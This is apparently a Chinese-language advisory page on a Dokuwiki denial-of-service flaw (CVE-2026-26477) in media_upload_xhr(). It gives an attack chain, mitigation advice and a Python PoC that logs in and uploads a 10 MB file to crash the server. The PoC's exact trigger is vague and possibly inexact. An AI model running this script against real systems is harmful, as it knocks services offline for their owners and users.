IPBUF安全漏洞报告
English
CVE-2026-26477 CVSS 4.3 中危

CVE-2026-26477 Dokuwiki拒绝服务漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-26477
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dokuwiki

相关标签

拒绝服务DoSDokuwikiCVE-2026-26477文件上传

漏洞概述

Dokuwiki v.2025-05-14b 'Librarian' 版本存在安全漏洞,远程攻击者可利用 media.php 文件中的 media_upload_xhr() 函数发起拒绝服务攻击。该漏洞需低权限即可通过网络触发,无需用户交互,导致服务可用性受损。

技术细节

该漏洞源于 Dokuwiki 处理媒体上传请求时存在逻辑缺陷。在 media.php 文件的 media_upload_xhr() 函数中,未对特定输入或文件流进行充分的资源限制或异常处理。经过身份验证的攻击者可构造恶意的上传请求,触发服务器资源耗尽或进程崩溃,从而导致 Web 服务停止响应。由于 CVSS 向量显示需低权限(PR:L),普通注册用户即可利用此漏洞对系统稳定性构成威胁。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账户登录 Dokuwiki 系统。
STEP 2
步骤2
攻击者向 media.php 中的 media_upload_xhr() 接口发送特制的恶意上传请求。
STEP 3
步骤3
服务器处理请求时触发漏洞,导致资源耗尽或服务崩溃,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-26477 PoC Generator # Target: Dokuwiki v.2025-05-14b "Librarian" # Endpoint: media_upload_xhr in media.php def trigger_dos(target_url, username, password): session = requests.Session() # Step 1: Login (Required due to PR:L) login_data = { 'u': username, 'p': password, 'do': 'login' } print(f"[*] Attempting login to {target_url}") login_resp = session.post(f"{target_url}/doku.php", data=login_data) if 'Login' not in login_resp.text: print("[+] Login successful") else: print("[-] Login failed") return # Step 2: Send malicious payload to media_upload_xhr # The vulnerability allows triggering DoS via the upload function upload_url = f"{target_url}/lib/exe/ajax.php" # Malicious payload intended to exhaust resources or crash the process files = { 'upload': ('dos_payload.bin', b'A' * 10000000) # Large file or specific pattern } data = { 'call': 'media_upload_xhr', 'mediaid': 'test_dos' } print(f"[*] Sending DoS payload to {upload_url}") try: response = session.post(upload_url, files=files, data=data) print(f"[*] Response Status: {response.status_code}") if response.status_code == 500 or response.status_code == 0: print("[+] Potential DoS triggered (Service unavailable)") except requests.exceptions.RequestException as e: print(f"[+] Connection error: {e} (Service likely crashed)") if __name__ == "__main__": # Replace with actual target details target = "http://localhost:8080" user = "admin" pwd = "password" trigger_dos(target, user, pwd)

影响范围

Dokuwiki v.2025-05-14b "Librarian"

防御指南

临时缓解措施
建议暂时禁用媒体文件上传功能,或配置 Web 服务器(如 Nginx/Apache)对单个请求体大小和并发连接数进行严格限制,以减轻攻击影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表